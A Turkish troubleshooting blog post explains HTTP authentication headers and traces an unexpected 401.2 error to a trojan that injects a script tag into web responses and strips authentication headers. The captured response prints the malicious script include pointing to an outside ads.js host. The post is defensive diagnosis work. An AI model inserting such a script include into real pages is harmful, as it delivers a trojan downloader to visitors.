Freigeben über


HTTP Error 401.2 Unauthorized

Neredeyse bir ay blog yazmaya ara verdikten sonra geçenlerde karşılaştığım ilginç bir sorundan bahsetmek istiyorum. Başlıktan da anlaşılacağı üzere konumuz bir web sitesine erişmeye çalışırken alınan yetkilendirme hatası:

HTTP Error 401.2 - Unauthorized: Access is denied due to server configuration.

Sorun tanımına girmeden önce HTTP protokolünde kimlik doğrulama işleminin nasıl işlediğinden kısaca bahsedelim (ne Internet Explorer ne de IIS ismini özellikle kullanmıyorum; aşağıdakiler HTTP protokolü ile ilgilidir):

  • Bir tarayıcıdan bir web sunucusuna giden ilk istek, normal koşullarda, hiçbir tür kimlik tanımlama bilgisi içermez. Web sunucusu, eğer istenen sayfaya erişim için yetkilendirme gerekiyorsa, bunu aşağıdakine benzer başlık (header) bilgileri göndererek tarayıcıya bildirir:

    HTTP/1.1 401 Unauthorized
    Content-Length: 1656
    Content-Type: text/html
    Server: Microsoft-IIS/6.0
    WWW-Authenticate: Negotiate
    WWW-Authenticate: NTLM
    WWW-Authenticate: Basic realm="contoso"

    X-Powered-By: ASP.NET

    HTTP Error 401.2 - Unauthorized: Access is denied due to server configuration.

Yukarıdaki başlıklardan anlaşılan, bu web sunucusu, “Basic authentication” ve “Integrated Windows authentication” (Negotiate ve NTLM) desteklemektedir. “Negotiate” ve “NTLM” kimlik doğrulama türlerinin farkından burada bahsetmeyeceğim.

  • Bizim tarayıcımız, bu kimlik doğrulama türlerinden duruma gore en uygun olanını bizim adımıza seçer. Eğer “Basic”i seçecek olursa, tarayıcı size kullanıcı adı ve şifre soracaktir. “Negotiate” veya “NTLM” seçecek olursa,size sormadan kimlik doğrulamayı kendisi yapmaya çalışacaktır (bunun detaylarından da bu blogda bahsetmeyeceğim).

Yukarıdan da anlaşılacağı üzere, kimlik doğrulama gerektiren bir sayfaya istekte bulunduğunuzda, mutlaka once bir 401.2 hatası alırız; ancak genelde bunu kullanıcı tarafında görmeyiz (web sunucusu loglarında bunu görebilirsiniz).

Gelelim sorun tanımımıza…

SORUN:

Bir kullanıcı, “Integrated Windows authentication” açık olan bir web sitesine bağlanmaya çalıştığında, yukarıda bahsettiğimiz 401.2 hata sayfasıyla karşılaşıyordu. Tarayıcı, bu hata sayfasını, kullanıcı adı/şifre bile sormadan, direkt olarak veriyordu.

İNCELEME:

Normal koşullarda, “Integrated Windows authentication” tanımlı olan bir web sitesine erişirken, 401.2 kodlu hata mesajını Internet Explorer bize göstermez. Bizim kimlik bilgilerimizle siteye erişmeyi dener; ve eğer bu başarısız olursa, bize şu hata mesajını gösterir:

HTTP Error 401.1 - Unauthorized: Access is denied due to invalid credentials.

Dolayısıyla aslında bizim hiçbir kosulda 401.2 hata kodlu sayfayı görmüyor olmamız gerekirdi. Bu nedenle, sorunu tespit edebilmek adına, kullanıcının makinesi üzerinde bir “network sniffer” uygulaması çalıştırıp web sitesine erişmeyi denedik. Bunun için kullanabileceğiniz bazı ücretsiz uygulamalar bulunmaktadır (örn.: NetMon 3.1).

Topladığımız verileri incelediğimizde, web sunucusundan aşağıdaki yanıtın geldiğini gördük:

HTTP/1.1 401 Unauthorized
Content-Type: text/html
Content-Length: 1853

<SCRIPT LANGUAGE="javascript1.2" src="https://ads.adslooks.info/ads.js" mce_src="https://ads.adslooks.info/ads.js"></SCRIPT>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "https://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
...
HTTP Error 401.2 - Unauthorized: Access is denied due to server configuration.
...
</HTML>

Başlık bilgilerine dikkat ederseniz, “WWW-Authenticate” isimli başlığın yeralmadığını göreceksiniz. Bu kesinlikle normal bir durum değil. Bir diğer ilginç nokta da, IIS’in kendi hata sayfalarından biri olan yukarıdaki html kodunun ilk satırının bir <script> imi olmasıdır. Bu da elbette normal bir durum değildir.

ÇÖZÜM:

Yukarıda bahsettiğim <script> iminin kaynağı ile ilgili (https://ads.adslooks.info/ads.js) Internet üzerinde biraz araştırma yapınca, bunun bir çeşit “truva atı”nın (Trojan-Downloader.JS.Agent.agx) marifeti olduğunu öğrendik. Truva atının tam olarak yaptığı şey, bulaştığı makineden çağırılan web sitelerinden gelen yanıtların ilk satırına bu imi yerleştirmekti. Ancak bunu yaparken, siteden gelen bazı başlık bilgilerini (WWW-Authenticate gibi) silmek zorunda kalıyor. Bu da, tarayıcımızın, hangi kimlik doğrulama türünü kullanması gerektiğini anlayamaması sonucunu doğuruyor.

Kullanıcının işletim sistemi düzenli olarak güncellendiği için bu truva atı yukarıdaki sorun dışında bir probleme neden olamamaktaydı. Truva atını temizledikten sonra bu sorun da giderilmiş oldu.

Bu truva atı, sizin ortamınızda bambaşka sorunlara neden olabilir. Bu tamamen hangi başlık bilgisinin kaybolduğuna (ve sisteminizin ne kadar güncel olduğuna) bağlıdır. Buna benzer sorunlarda ilk yapılması gereken NetMon benzeri bir uygulamayla ağ trafiğini incelemek olmalıdır. NetMon dışında önerebileceğim bir diğer uygulama da Fiddler2’dir(*). Bu bir “sniffer” değildir ama özellikle bu tür sorunların tespitinde çok faydalı olabilmektedir.

(*): Fiddler2 bir Microsoft ürünü değildir. Bu uygulamayı kullanmanız sonucu oluşabilecek sorunlardan kesinlikle ben veya Microsoft sorumlu olmayacaktır.

CENK ISCAN